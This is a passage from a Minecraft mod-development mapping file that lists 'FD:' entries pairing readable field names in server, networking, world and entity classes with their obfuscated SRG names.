net/minecraft/server/dedicated/DedicatedServer$2/field_72428_a net/minecraft/server/dedicated/DedicatedServer$2/field_72428_a +FD: net/minecraft/server/dedicated/DedicatedServer$3/field_71743_a net/minecraft/server/dedicated/DedicatedServer$3/field_71743_a +FD: net/minecraft/server/dedicated/DedicatedServer$4/field_85171_a net/minecraft/server/dedicated/DedicatedServer$4/field_85171_a +FD: net/minecraft/server/dedicated/DedicatedServer/logger net/minecraft/server/dedicated/DedicatedServer/field_155771_h +FD: net/minecraft/server/dedicated/DedicatedServer/pendingCommandList net/minecraft/server/dedicated/DedicatedServer/field_71341_l +FD: net/minecraft/server/dedicated/DedicatedServer/theRConThreadQuery net/minecraft/server/dedicated/DedicatedServer/field_71342_m +FD: net/minecraft/server/dedicated/DedicatedServer/theRConThreadMain net/minecraft/server/dedicated/DedicatedServer/field_71339_n +FD: net/minecraft/server/dedicated/DedicatedServer/settings net/minecraft/server/dedicated/DedicatedServer/field_71340_o +FD: net/minecraft/server/dedicated/DedicatedServer/eula net/minecraft/server/dedicated/DedicatedServer/field_154332_n +FD: net/minecraft/server/dedicated/DedicatedServer/canSpawnStructures net/minecraft/server/dedicated/DedicatedServer/field_71338_p +FD: net/minecraft/server/dedicated/DedicatedServer/gameType net/minecraft/server/dedicated/DedicatedServer/field_71337_q +FD: net/minecraft/server/dedicated/DedicatedServer/guiIsEnabled net/minecraft/server/dedicated/DedicatedServer/field_71335_s +FD: net/minecraft/server/dedicated/ServerHangWatchdog$1/field_180252_a net/minecraft/server/dedicated/ServerHangWatchdog$1/field_180252_a +FD: net/minecraft/server/dedicated/ServerHangWatchdog/LOGGER net/minecraft/server/dedicated/ServerHangWatchdog/field_180251_a +FD: net/minecraft/server/dedicated/ServerHangWatchdog/server net/minecraft/server/dedicated/ServerHangWatchdog/field_180249_b +FD: net/minecraft/server/dedicated/ServerHangWatchdog/maxTickTime net/minecraft/server/dedicated/ServerHangWatchdog/field_180250_c +FD: net/minecraft/server/gui/MinecraftServerGui$1/field_120023_a net/minecraft/server/gui/MinecraftServerGui$1/field_120023_a +FD: net/minecraft/server/gui/MinecraftServerGui$2/field_120025_a net/minecraft/server/gui/MinecraftServerGui$2/field_120025_a +FD: net/minecraft/server/gui/MinecraftServerGui$2/field_120024_b net/minecraft/server/gui/MinecraftServerGui$2/field_120024_b +FD: net/minecraft/server/gui/MinecraftServerGui$3/field_120032_a net/minecraft/server/gui/MinecraftServerGui$3/field_120032_a +FD: net/minecraft/server/gui/MinecraftServerGui$4/field_164252_a net/minecraft/server/gui/MinecraftServerGui$4/field_164252_a +FD: net/minecraft/server/gui/MinecraftServerGui$4/field_164250_b net/minecraft/server/gui/MinecraftServerGui$4/field_164250_b +FD: net/minecraft/server/gui/MinecraftServerGui$4/field_164251_c net/minecraft/server/gui/MinecraftServerGui$4/field_164251_c +FD: net/minecraft/server/gui/MinecraftServerGui$5/field_164256_a net/minecraft/server/gui/MinecraftServerGui$5/field_164256_a +FD: net/minecraft/server/gui/MinecraftServerGui$5/field_164254_b net/minecraft/server/gui/MinecraftServerGui$5/field_164254_b +FD: net/minecraft/server/gui/MinecraftServerGui$5/field_164255_c net/minecraft/server/gui/MinecraftServerGui$5/field_164255_c +FD: net/minecraft/server/gui/MinecraftServerGui$5/field_164253_d net/minecraft/server/gui/MinecraftServerGui$5/field_164253_d +FD: net/minecraft/server/gui/MinecraftServerGui/serverGuiFont net/minecraft/server/gui/MinecraftServerGui/field_164249_a +FD: net/minecraft/server/gui/MinecraftServerGui/LOGGER net/minecraft/server/gui/MinecraftServerGui/field_164248_b +FD: net/minecraft/server/gui/MinecraftServerGui/server net/minecraft/server/gui/MinecraftServerGui/field_120021_b +FD: net/minecraft/server/gui/PlayerListComponent/server net/minecraft/server/gui/PlayerListComponent/field_120015_a +FD: net/minecraft/server/gui/PlayerListComponent/ticks net/minecraft/server/gui/PlayerListComponent/field_120014_b +FD: net/minecraft/server/gui/StatsComponent$1/field_120030_a net/minecraft/server/gui/StatsComponent$1/field_120030_a +FD: net/minecraft/server/gui/StatsComponent/field_120040_a net/minecraft/server/gui/StatsComponent/field_120040_a +FD: net/minecraft/server/gui/StatsComponent/field_120038_b net/minecraft/server/gui/StatsComponent/field_120038_b +FD: net/minecraft/server/gui/StatsComponent/field_120039_c net/minecraft/server/gui/StatsComponent/field_120039_c +FD: net/minecraft/server/gui/StatsComponent/field_120036_d net/minecraft/server/gui/StatsComponent/field_120036_d +FD: net/minecraft/server/gui/StatsComponent/server net/minecraft/server/gui/StatsComponent/field_120037_e +FD: net/minecraft/client/renderer/DestroyBlockProgress/miningPlayerEntId net/minecraft/client/renderer/DestroyBlockProgress/field_73115_a +FD: net/minecraft/client/renderer/DestroyBlockProgress/position net/minecraft/client/renderer/DestroyBlockProgress/field_180247_b +FD: net/minecraft/client/renderer/DestroyBlockProgress/partialBlockProgress net/minecraft/client/renderer/DestroyBlockProgress/field_73112_e +FD: net/minecraft/client/renderer/DestroyBlockProgress/createdAtCloudUpdateTick net/minecraft/client/renderer/DestroyBlockProgress/field_82745_f +FD: net/minecraft/world/demo/DemoWorldServer/demoWorldSeed net/minecraft/world/demo/DemoWorldServer/field_73072_L +FD: net/minecraft/world/demo/DemoWorldServer/demoWorldSettings net/minecraft/world/demo/DemoWorldServer/field_73071_a +FD: net/minecraft/world/demo/DemoWorldManager/field_73105_c net/minecraft/world/demo/DemoWorldManager/field_73105_c +FD: net/minecraft/world/demo/DemoWorldManager/demoTimeExpired net/minecraft/world/demo/DemoWorldManager/field_73103_d +FD: net/minecraft/world/demo/DemoWorldManager/field_73104_e net/minecraft/world/demo/DemoWorldManager/field_73104_e +FD: net/minecraft/world/demo/DemoWorldManager/field_73102_f net/minecraft/world/demo/DemoWorldManager/field_73102_f +FD: net/minecraft/world/WorldServerMulti$1/field_177698_a net/minecraft/world/WorldServerMulti$1/field_177698_a +FD: net/minecraft/world/WorldServerMulti/delegate net/minecraft/world/WorldServerMulti/field_175743_a +FD: net/minecraft/entity/EntityTracker$1/field_96570_a net/minecraft/entity/EntityTracker$1/field_96570_a +FD: net/minecraft/entity/EntityTracker$1/field_96569_b net/minecraft/entity/EntityTracker$1/field_96569_b +FD: net/minecraft/entity/EntityTracker/logger net/minecraft/entity/EntityTracker/field_151249_a +FD: net/minecraft/entity/EntityTracker/theWorld net/minecraft/entity/EntityTracker/field_72795_a +FD: net/minecraft/entity/EntityTracker/trackedEntities net/minecraft/entity/EntityTracker/field_72793_b +FD: net/minecraft/entity/EntityTracker/trackedEntityHashTable net/minecraft/entity/EntityTracker/field_72794_c +FD: net/minecraft/entity/EntityTracker/maxTrackingDistanceThreshold net/minecraft/entity/EntityTracker/field_72792_d +FD: net/minecraft/world/WorldManager/mcServer net/minecraft/world/WorldManager/field_72783_a +FD: net/minecraft/world/WorldManager/theWorldServer net/minecraft/world/WorldManager/field_72782_b +FD: net/minecraft/server/management/PlayerManager$PlayerInstance/field_73265_a net/minecraft/server/management/PlayerManager$PlayerInstance/field_73265_a +FD: net/minecraft/server/management/PlayerManager$PlayerInstance/playersWatchingChunk net/minecraft/server/management/PlayerManager$PlayerInstance/field_73263_b +FD: net/minecraft/server/management/PlayerManager$PlayerInstance/chunkCoords net/minecraft/server/management/PlayerManager$PlayerInstance/field_73264_c +FD: net/minecraft/server/management/PlayerManager$PlayerInstance/locationOfBlockChange net/minecraft/server/management/PlayerManager$PlayerInstance/field_151254_d +FD: net/minecraft/server/management/PlayerManager$PlayerInstance/numBlocksToUpdate net/minecraft/server/management/PlayerManager$PlayerInstance/field_73262_e +FD: net/minecraft/server/management/PlayerManager$PlayerInstance/flagsYAreasToUpdate net/minecraft/server/management/PlayerManager$PlayerInstance/field_73260_f +FD: net/minecraft/server/management/PlayerManager$PlayerInstance/previousWorldTime net/minecraft/server/management/PlayerManager$PlayerInstance/field_111198_g +FD: net/minecraft/server/management/PlayerManager/pmLogger net/minecraft/server/management/PlayerManager/field_152627_a +FD: net/minecraft/server/management/PlayerManager/theWorldServer net/minecraft/server/management/PlayerManager/field_72701_a +FD: net/minecraft/server/management/PlayerManager/players net/minecraft/server/management/PlayerManager/field_72699_b +FD: net/minecraft/server/management/PlayerManager/playerInstances net/minecraft/server/management/PlayerManager/field_72700_c +FD: net/minecraft/server/management/PlayerManager/playerInstancesToUpdate net/minecraft/server/management/PlayerManager/field_72697_d +FD: net/minecraft/server/management/PlayerManager/playerInstanceList net/minecraft/server/management/PlayerManager/field_111193_e +FD: net/minecraft/server/management/PlayerManager/playerViewRadius net/minecraft/server/management/PlayerManager/field_72698_e +FD: net/minecraft/server/management/PlayerManager/previousTotalWorldTime net/minecraft/server/management/PlayerManager/field_111192_g +FD: net/minecraft/server/management/PlayerManager/xzDirectionsConst net/minecraft/server/management/PlayerManager/field_72696_f +FD: net/minecraft/world/gen/ChunkProviderServer/chunkLoadOverride net/minecraft/world/gen/ChunkProviderServer/field_73250_a +FD: net/minecraft/world/gen/ChunkProviderServer/logger net/minecraft/world/gen/ChunkProviderServer/field_147417_b +FD: net/minecraft/world/gen/ChunkProviderServer/droppedChunksSet net/minecraft/world/gen/ChunkProviderServer/field_73248_b +FD: net/minecraft/world/gen/ChunkProviderServer/dummyChunk net/minecraft/world/gen/ChunkProviderServer/field_73249_c +FD: net/minecraft/world/gen/ChunkProviderServer/serverChunkGenerator net/minecraft/world/gen/ChunkProviderServer/field_73246_d +FD: net/minecraft/world/gen/ChunkProviderServer/chunkLoader net/minecraft/world/gen/ChunkProviderServer/field_73247_e +FD: net/minecraft/world/gen/ChunkProviderServer/id2ChunkMap net/minecraft/world/gen/ChunkProviderServer/field_73244_f +FD: net/minecraft/world/gen/ChunkProviderServer/loadedChunks net/minecraft/world/gen/ChunkProviderServer/field_73245_g +FD: net/minecraft/world/gen/ChunkProviderServer/worldObj net/minecraft/world/gen/ChunkProviderServer/field_73251_h +FD: net/minecraft/world/WorldServer$1/field_180243_a net/minecraft/world/WorldServer$1/field_180243_a +FD: net/minecraft/world/WorldServer/mcServer net/minecraft/world/WorldServer/field_73061_a +FD: net/minecraft/world/WorldServer/theEntityTracker net/minecraft/world/WorldServer/field_73062_L +FD: net/minecraft/world/WorldServer/thePlayerManager net/minecraft/world/WorldServer/field_73063_M +FD: net/minecraft/world/WorldServer/pendingTickListEntriesHashSet net/minecraft/world/WorldServer/field_73064_N +FD: net/minecraft/world/WorldServer/pendingTickListEntriesTreeSet net/minecraft/world/WorldServer/field_73065_O +FD: net/minecraft/world/WorldServer/entitiesByUuid net/minecraft/world/WorldServer/field_175741_N +FD: net/minecraft/world/WorldServer/allPlayersSleeping net/minecraft/world/WorldServer/field_73068_P +FD: net/minecraft/world/WorldServer/updateEntityTick net/minecraft/world/WorldServer/field_80004_Q +FD: net/minecraft/world/WorldServer/worldTeleporter net/minecraft/world/WorldServer/field_85177_Q +FD: net/minecraft/world/WorldServer/mobSpawner net/minecraft/world/WorldServer/field_175742_R +FD: net/minecraft/world/WorldServer/blockEventQueue net/minecraft/world/WorldServer/field_147490_S +FD: net/minecraft/world/WorldServer/blockEventCacheIndex net/minecraft/world/WorldServer/field_147489_T +FD: net/minecraft/world/WorldServer/bonusChestContent net/minecraft/world/WorldServer/field_73069_S +FD: net/minecraft/world/WorldServer/pendingTickListEntriesThisTick net/minecraft/world/WorldServer/field_94579_S +FD: net/minecraft/world/WorldServer/logger net/minecraft/world/WorldServer/field_147491_a +FD: net/minecraft/world/WorldServer/theChunkProviderServer net/minecraft/world/WorldServer/field_73059_b +FD: net/minecraft/world/WorldServer/disableLevelSaving net/minecraft/world/WorldServer/field_73058_d +FD: net/minecraft/world/WorldServer/villageSiege net/minecraft/world/WorldServer/field_175740_d +FD: net/minecraft/entity/player/EntityPlayerMP/playerNetServerHandler net/minecraft/entity/player/EntityPlayerMP/field_71135_a +FD: net/minecraft/entity/player/EntityPlayerMP/mcServer net/minecraft/entity/player/EntityPlayerMP/field_71133_b +FD: net/minecraft/entity/player/EntityPlayerMP/logger net/minecraft/entity/player/EntityPlayerMP/field_147102_bM +FD: net/minecraft/entity/player/EntityPlayerMP/translator net/minecraft/entity/player/EntityPlayerMP/field_71148_cg +FD: net/minecraft/entity/player/EntityPlayerMP/destroyedItemsNetCache net/minecraft/entity/player/EntityPlayerMP/field_71130_g +FD: net/minecraft/entity/player/EntityPlayerMP/statsFile net/minecraft/entity/player/EntityPlayerMP/field_147103_bO +FD: net/minecraft/entity/player/EntityPlayerMP/combinedHealth net/minecraft/entity/player/EntityPlayerMP/field_130068_bO +FD: net/minecraft/entity/player/EntityPlayerMP/lastHealth net/minecraft/entity/player/EntityPlayerMP/field_71149_ch +FD: net/minecraft/entity/player/EntityPlayerMP/lastFoodLevel net/minecraft/entity/player/EntityPlayerMP/field_71146_ci +FD: net/minecraft/entity/player/EntityPlayerMP/wasHungry net/minecraft/entity/player/EntityPlayerMP/field_71147_cj +FD: net/minecraft/entity/player/EntityPlayerMP/lastExperience net/minecraft/entity/player/EntityPlayerMP/field_71144_ck +FD: net/minecraft/entity/player/EntityPlayerMP/respawnInvulnerabilityTicks net/minecraft/entity/player/EntityPlayerMP/field_147101_bU +FD: net/minecraft/entity/player/EntityPlayerMP/chatVisibility net/minecraft/entity/player/EntityPlayerMP/field_71143_cn +FD: net/minecraft/entity/player/EntityPlayerMP/chatColours net/minecraft/entity/player/EntityPlayerMP/field_71140_co +FD: net/minecraft/entity/player/EntityPlayerMP/playerLastActiveTime net/minecraft/entity/player/EntityPlayerMP/field_143005_bX +FD: net/minecraft/entity/player/EntityPlayerMP/spectatingEntity net/minecraft/entity/player/EntityPlayerMP/field_175401_bS +FD: net/minecraft/entity/player/EntityPlayerMP/currentWindowId net/minecraft/entity/player/EntityPlayerMP/field_71139_cq +FD: net/minecraft/entity/player/EntityPlayerMP/theItemInWorldManager net/minecraft/entity/player/EntityPlayerMP/field_71134_c +FD: net/minecraft/entity/player/EntityPlayerMP/managedPosX net/minecraft/entity/player/EntityPlayerMP/field_71131_d +FD: net/minecraft/entity/player/EntityPlayerMP/managedPosZ net/minecraft/entity/player/EntityPlayerMP/field_71132_e +FD: net/minecraft/entity/player/EntityPlayerMP/loadedChunks net/minecraft/entity/player/EntityPlayerMP/field_71129_f +FD: net/minecraft/entity/player/EntityPlayerMP/isChangingQuantityOnly net/minecraft/entity/player/EntityPlayerMP/field_71137_h +FD: net/minecraft/entity/player/EntityPlayerMP/ping net/minecraft/entity/player/EntityPlayerMP/field_71138_i +FD: net/minecraft/entity/player/EntityPlayerMP/playerConqueredTheEnd net/minecraft/entity/player/EntityPlayerMP/field_71136_j +FD: net/minecraft/server/management/ItemInWorldManager/theWorld net/minecraft/server/management/ItemInWorldManager/field_73092_a +FD: net/minecraft/server/management/ItemInWorldManager/thisPlayerMP net/minecraft/server/management/ItemInWorldManager/field_73090_b +FD: net/minecraft/server/management/ItemInWorldManager/gameType net/minecraft/server/management/ItemInWorldManager/field_73091_c +FD: net/minecraft/server/management/ItemInWorldManager/isDestroyingBlock net/minecraft/server/management/ItemInWorldManager/field_73088_d +FD: net/minecraft/server/management/ItemInWorldManager/initialDamage net/minecraft/server/management/ItemInWorldManager/field_73089_e +FD: net/minecraft/server/management/ItemInWorldManager/field_180240_f net/minecraft/server/management/ItemInWorldManager/field_180240_f +FD: net/minecraft/server/management/ItemInWorldManager/curblockDamage net/minecraft/server/management/ItemInWorldManager/field_73100_i +FD: net/minecraft/server/management/ItemInWorldManager/receivedFinishDiggingPacket net/minecraft/server/management/ItemInWorldManager/field_73097_j +FD: net/minecraft/server/management/ItemInWorldManager/field_180241_i net/minecraft/server/management/ItemInWorldManager/field_180241_i +FD: net/minecraft/server/management/ItemInWorldManager/initialBlockDamage net/minecraft/server/management/ItemInWorldManager/field_73093_n +FD: net/minecraft/server/management/ItemInWorldManager/durabilityRemainingOnBlock net/minecraft/server/management/ItemInWorldManager/field_73094_o +FD: net/minecraft/entity/EntityTrackerEntry/trackedEntity net/minecraft/entity/EntityTrackerEntry/field_73132_a +FD: net/minecraft/entity/EntityTrackerEntry/trackingDistanceThreshold net/minecraft/entity/EntityTrackerEntry/field_73130_b +FD: net/minecraft/entity/EntityTrackerEntry/updateFrequency net/minecraft/entity/EntityTrackerEntry/field_73131_c +FD: net/minecraft/entity/EntityTrackerEntry/encodedPosX net/minecraft/entity/EntityTrackerEntry/field_73128_d +FD: net/minecraft/entity/EntityTrackerEntry/encodedPosY net/minecraft/entity/EntityTrackerEntry/field_73129_e +FD: net/minecraft/entity/EntityTrackerEntry/encodedPosZ net/minecraft/entity/EntityTrackerEntry/field_73126_f +FD: net/minecraft/entity/EntityTrackerEntry/encodedRotationYaw net/minecraft/entity/EntityTrackerEntry/field_73127_g +FD: net/minecraft/entity/EntityTrackerEntry/encodedRotationPitch net/minecraft/entity/EntityTrackerEntry/field_73139_h +FD: net/minecraft/entity/EntityTrackerEntry/lastHeadMotion net/minecraft/entity/EntityTrackerEntry/field_73140_i +FD: net/minecraft/entity/EntityTrackerEntry/lastTrackedEntityMotionX net/minecraft/entity/EntityTrackerEntry/field_73137_j +FD: net/minecraft/entity/EntityTrackerEntry/lastTrackedEntityMotionY net/minecraft/entity/EntityTrackerEntry/field_73138_k +FD: net/minecraft/entity/EntityTrackerEntry/motionZ net/minecraft/entity/EntityTrackerEntry/field_73135_l +FD: net/minecraft/entity/EntityTrackerEntry/updateCounter net/minecraft/entity/EntityTrackerEntry/field_73136_m +FD: net/minecraft/entity/EntityTrackerEntry/playerEntitiesUpdated net/minecraft/entity/EntityTrackerEntry/field_73133_n +FD: net/minecraft/entity/EntityTrackerEntry/trackingPlayers net/minecraft/entity/EntityTrackerEntry/field_73134_o +FD: net/minecraft/entity/EntityTrackerEntry/logger net/minecraft/entity/EntityTrackerEntry/field_151262_p +FD: net/minecraft/entity/EntityTrackerEntry/lastTrackedEntityPosX net/minecraft/entity/EntityTrackerEntry/field_73147_p +FD: net/minecraft/entity/EntityTrackerEntry/lastTrackedEntityPosY net/minecraft/entity/EntityTrackerEntry/field_73146_q +FD: net/minecraft/entity/EntityTrackerEntry/lastTrackedEntityPosZ net/minecraft/entity/EntityTrackerEntry/field_73145_r +FD: net/minecraft/entity/EntityTrackerEntry/firstUpdateDone net/minecraft/entity/EntityTrackerEntry/field_73144_s +FD: net/minecraft/entity/EntityTrackerEntry/sendVelocityUpdates net/minecraft/entity/EntityTrackerEntry/field_73143_t +FD: net/minecraft/entity/EntityTrackerEntry/ticksSinceLastForcedTeleport net/minecraft/entity/EntityTrackerEntry/field_73142_u +FD: net/minecraft/entity/EntityTrackerEntry/field_85178_v net/minecraft/entity/EntityTrackerEntry/field_85178_v +FD: net/minecraft/entity/EntityTrackerEntry/ridingEntity net/minecraft/entity/EntityTrackerEntry/field_73141_v +FD: net/minecraft/entity/EntityTrackerEntry/onGround net/minecraft/entity/EntityTrackerEntry/field_180234_y +FD: net/minecraft/network/PingResponseHandler/logger net/minecraft/network/PingResponseHandler/field_151258_a +FD: net/minecraft/network/PingResponseHandler/networkSystem net/minecraft/network/PingResponseHandler/field_151257_b +FD: net/minecraft/client/network/NetHandlerHandshakeMemory/mcServer net/minecraft/client/network/NetHandlerHandshakeMemory/field_147385_a +FD: net/minecraft/client/network/NetHandlerHandshakeMemory/networkManager net/minecraft/client/network/NetHandlerHandshakeMemory/field_147384_b +FD: net/minecraft/network/NetworkSystem$4/field_151283_c net/minecraft/network/NetworkSystem$4/field_151283_c +FD: net/minecraft/network/NetworkSystem$5/field_180230_b net/minecraft/network/NetworkSystem$5/field_180230_b +FD: net/minecraft/network/NetworkSystem$6/field_151284_a net/minecraft/network/NetworkSystem$6/field_151284_a +FD: net/minecraft/network/NetworkSystem$6/field_180228_c net/minecraft/network/NetworkSystem$6/field_180228_c +FD: net/minecraft/network/NetworkSystem$7/field_181143_a net/minecraft/network/NetworkSystem$7/field_181143_a +FD: net/minecraft/network/NetworkSystem$7/field_181144_b net/minecraft/network/NetworkSystem$7/field_181144_b +FD: net/minecraft/network/NetworkSystem$7/field_181145_c net/minecraft/network/NetworkSystem$7/field_181145_c +FD: net/minecraft/network/NetworkSystem/eventLoops net/minecraft/network/NetworkSystem/field_151276_c +FD: net/minecraft/network/NetworkSystem/SERVER_EPOLL_EVENTLOOP net/minecraft/network/NetworkSystem/field_181141_b +FD: net/minecraft/network/NetworkSystem/SERVER_LOCAL_EVENTLOOP net/minecraft/network/NetworkSystem/field_180232_b +FD: net/minecraft/network/NetworkSystem/isAlive net/minecraft/network/NetworkSystem/field_151277_a +FD: net/minecraft/network/NetworkSystem/logger net/minecraft/network/NetworkSystem/field_151275_b +FD: net/minecraft/network/NetworkSystem/mcServer net/minecraft/network/NetworkSystem/field_151273_d +FD: net/minecraft/network/NetworkSystem/endpoints net/minecraft/network/NetworkSystem/field_151274_e +FD: net/minecraft/network/NetworkSystem/networkManagers net/minecraft/network/NetworkSystem/field_151272_f +FD: net/minecraft/network/NetHandlerPlayServer$1/field_151289_a net/minecraft/network/NetHandlerPlayServer$1/field_151289_a +FD: net/minecraft/network/NetHandlerPlayServer$1/field_151288_b net/minecraft/network/NetHandlerPlayServer$1/field_151288_b +FD: net/minecraft/network/NetHandlerPlayServer$2/field_151286_b net/minecraft/network/NetHandlerPlayServer$2/field_151286_b +FD: net/minecraft/network/NetHandlerPlayServer$3/field_180227_a net/minecraft/network/NetHandlerPlayServer$3/field_180227_a +FD: net/minecraft/network/NetHandlerPlayServer$3/field_180226_b net/minecraft/network/NetHandlerPlayServer$3/field_180226_b +FD: net/minecraft/network/NetHandlerPlayServer$4/field_180224_a net/minecraft/network/NetHandlerPlayServer$4/field_180224_a +FD: net/minecraft/network/NetHandlerPlayServer$4/field_180222_b net/minecraft/network/NetHandlerPlayServer$4/field_180222_b +FD: net/minecraft/network/NetHandlerPlayServer$4/field_180223_c net/minecraft/network/NetHandlerPlayServer$4/field_180223_c +FD: net/minecraft/network/NetHandlerPlayServer/netManager net/minecraft/network/NetHandlerPlayServer/field_147371_a +FD: net/minecraft/network/NetHandlerPlayServer/playerEntity net/minecraft/network/NetHandlerPlayServer/field_147369_b +FD: net/minecraft/network/NetHandlerPlayServer/logger net/minecraft/network/NetHandlerPlayServer/field_147370_c +FD: net/minecraft/network/NetHandlerPlayServer/serverController net/minecraft/network/NetHandlerPlayServer/field_147367_d +FD: net/minecraft/network/NetHandlerPlayServer/networkTickCount net/minecraft/network/NetHandlerPlayServer/field_147368_e +FD: net/minecraft/network/NetHandlerPlayServer/field_175090_f net/minecraft/network/NetHandlerPlayServer/field_175090_f +FD: net/minecraft/network/NetHandlerPlayServer/floatingTickCount net/minecraft/network/NetHandlerPlayServer/field_147365_f +FD: net/minecraft/network/NetHandlerPlayServer/field_147366_g net/minecraft/network/NetHandlerPlayServer/field_147366_g +FD: net/minecraft/network/NetHandlerPlayServer/field_147378_h net/minecraft/network/NetHandlerPlayServer/field_147378_h +FD: net/minecraft/network/NetHandlerPlayServer/lastPingTime net/minecraft/network/NetHandlerPlayServer/field_147379_i +FD: net/minecraft/network/NetHandlerPlayServer/lastSentPingPacket net/minecraft/network/NetHandlerPlayServer/field_147377_k +FD: net/minecraft/network/NetHandlerPlayServer/chatSpamThresholdCount net/minecraft/network/NetHandlerPlayServer/field_147374_l +FD: net/minecraft/network/NetHandlerPlayServer/itemDropThreshold net/minecraft/network/NetHandlerPlayServer/field_147375_m +FD: net/minecraft/network/NetHandlerPlayServer/field_147372_n net/minecraft/network/NetHandlerPlayServer/field_147372_n +FD: net/minecraft/network/NetHandlerPlayServer/lastPosX net/minecraft/network/NetHandlerPlayServer/field_147373_o +FD: net/minecraft/network/NetHandlerPlayServer/lastPosY net/minecraft/network/NetHandlerPlayServer/field_147382_p +FD: net/minecraft/network/NetHandlerPlayServer/lastPosZ net/minecraft/network/NetHandlerPlayServer/field_147381_q +FD: net/minecraft/network/NetHandlerPlayServer/hasMoved net/minecraft/network/NetHandlerPlayServer/field_147380_r +FD: net/minecraft/server/network/NetHandlerHandshakeTCP$1/field_151291_a net/minecraft/server/network/NetHandlerHandshakeTCP$1/field_151291_a +FD: net/minecraft/server/network/NetHandlerHandshakeTCP/server net/minecraft/server/network/NetHandlerHandshakeTCP/field_147387_a +FD: net/minecraft/server/network/NetHandlerHandshakeTCP/networkManager net/minecraft/server/network/NetHandlerHandshakeTCP/field_147386_b +FD: net/minecraft/server/network/NetHandlerLoginServer$1/field_151292_a net/minecraft/server/network/NetHandlerLoginServer$1/field_151292_a +FD: net/minecraft/server/network/NetHandlerLoginServer$2/field_180221_a net/minecraft/server/network/NetHandlerLoginServer$2/field_180221_a +FD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/HELLO net/minecraft/server/network/NetHandlerLoginServer$LoginState/HELLO +FD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/KEY net/minecraft/server/network/NetHandlerLoginServer$LoginState/KEY +FD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/AUTHENTICATING net/minecraft/server/network/NetHandlerLoginServer$LoginState/AUTHENTICATING +FD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/READY_TO_ACCEPT net/minecraft/server/network/NetHandlerLoginServer$LoginState/READY_TO_ACCEPT +FD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/DELAY_ACCEPT net/minecraft/server/network/NetHandlerLoginServer$LoginState/DELAY_ACCEPT +FD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/ACCEPTED net/minecraft/server/network/NetHandlerLoginServer$LoginState/ACCEPTED +FD: net/minecraft/server/network/NetHandlerLoginServer$LoginState/$VALUES net/minecraft/server/network/NetHandlerLoginServer$LoginState/$VALUES +FD: net/minecraft/server/network/NetHandlerLoginServer/networkManager net/minecraft/server/network/NetHandlerLoginServer/field_147333_a +FD: net/minecraft/server/network/NetHandlerLoginServer/AUTHENTICATOR_THREAD_ID net/minecraft/server/network/NetHandlerLoginServer/field_147331_b +FD: net/minecraft/server/network/NetHandlerLoginServer/logger net/minecraft/server/network/NetHandlerLoginServer/field_147332_c +FD: net/minecraft/server/network/NetHandlerLoginServer/RANDOM net/minecraft/server/network/NetHandlerLoginServer/field_147329_d +FD: net/minecraft/server/network/NetHandlerLoginServer/verifyToken net/minecraft/server/network/NetHandlerLoginServer/field_147330_e +FD: net/minecraft/server/network/NetHandlerLoginServer/server net/minecraft/server/network/NetHandlerLoginServer/field_147327_f +FD: net/minecraft/server/network/NetHandlerLoginServer/currentLoginState net/minecraft/server/network/NetHandlerLoginServer/field_147328_g +FD: net/minecraft/server/network/NetHandlerLoginServer/connectionTimer net/minecraft/server/network/NetHandlerLoginServer/field_147336_h +FD: net/minecraft/server/network/NetHandlerLoginServer/loginGameProfile net/minecraft/server/network/NetHandlerLoginServer/field_147337_i +FD: net/minecraft/server/network/NetHandlerLoginServer/serverId net/minecraft/server/network/NetHandlerLoginServer/field_147334_j +FD: net/minecraft/server/network/NetHandlerLoginServer/secretKey net/minecraft/server/network/NetHandlerLoginServer/field_147335_k +FD: net/minecraft/server/network/NetHandlerLoginServer/player net/minecraft/server/network/NetHandlerLoginServer/field_181025_l +FD: net/minecraft/server/network/NetHandlerStatusServer/EXIT_MESSAGE net/minecraft/server/network/NetHandlerStatusServer/field_183007_a +FD: net/minecraft/server/network/NetHandlerStatusServer/server net/minecraft/server/network/NetHandlerStatusServer/field_147314_a +FD: net/minecraft/server/network/NetHandlerStatusServer/networkManager net/minecraft/server/network/NetHandlerStatusServer/field_147313_b +FD: net/minecraft/server/network/NetHandlerStatusServer/handled net/minecraft/server/network/NetHandlerStatusServer/field_183008_d +FD: net/minecraft/server/management/BanEntry/dateFormat net/minecraft/server/management/BanEntry/field_73698_a +FD: net/minecraft/server/management/BanEntry/banStartDate net/minecraft/server/management/BanEntry/field_73694_d +FD: net/minecraft/server/management/BanEntry/bannedBy net/minecraft/server/management/BanEntry/field_73695_e +FD: net/minecraft/server/management/BanEntry/banEndDate net/minecraft/server/management/BanEntry/field_73692_f +FD: net/minecraft/server/management/BanEntry/reason net/minecraft/server/management/BanEntry/field_73693_g +FD: net/minecraft/server/management/PlayerProfileCache$1/field_152667_a net/minecraft/server/management/PlayerProfileCache$1/field_152667_a +FD: net/minecraft/server/management/PlayerProfileCache$ProfileEntry/field_152671_a net/minecraft/server/management/PlayerProfileCache$ProfileEntry/field_152671_a +FD: net/minecraft/server/management/PlayerProfileCache$ProfileEntry/gameProfile net/minecraft/server/management/PlayerProfileCache$ProfileEntry/field_152672_b +FD: net/minecraft/server/management/PlayerProfileCache$ProfileEntry/expirationDate net/minecraft/server/management/PlayerProfileCache$ProfileEntry/field_152673_c +FD: net/minecraft/server/management/PlayerProfileCache$Serializer/field_152677_a net/minecraft/server/management/PlayerProfileCache$Serializer/field_152677_a +FD: net/minecraft/server/management/PlayerProfileCache/dateFormat net/minecraft/server/management/PlayerProfileCache/field_152659_a +FD: net/minecraft/server/management/PlayerProfileCache/gson net/minecraft/server/management/PlayerProfileCache/field_152660_b +FD: net/minecraft/server/management/PlayerProfileCache/usernameToProfileEntryMap net/minecraft/server/management/PlayerProfileCache/field_152661_c +FD: net/minecraft/server/management/PlayerProfileCache/uuidToProfileEntryMap net/minecraft/server/management/PlayerProfileCache/field_152662_d +FD: net/minecraft/server/management/PlayerProfileCache/gameProfiles net/minecraft/server/management/PlayerProfileCache/field_152663_e +FD: net/minecraft/server/management/PlayerProfileCache/mcServer net/minecraft/server/management/PlayerProfileCache/field_152664_f +FD: net/minecraft/server/management/PlayerProfileCache/usercacheFile net/minecraft/server/management/PlayerProfileCache/field_152665_g +FD: net/minecraft/server/management/PlayerProfileCache/TYPE net/minecraft/server/management/PlayerProfileCache/field_152666_h +FD: 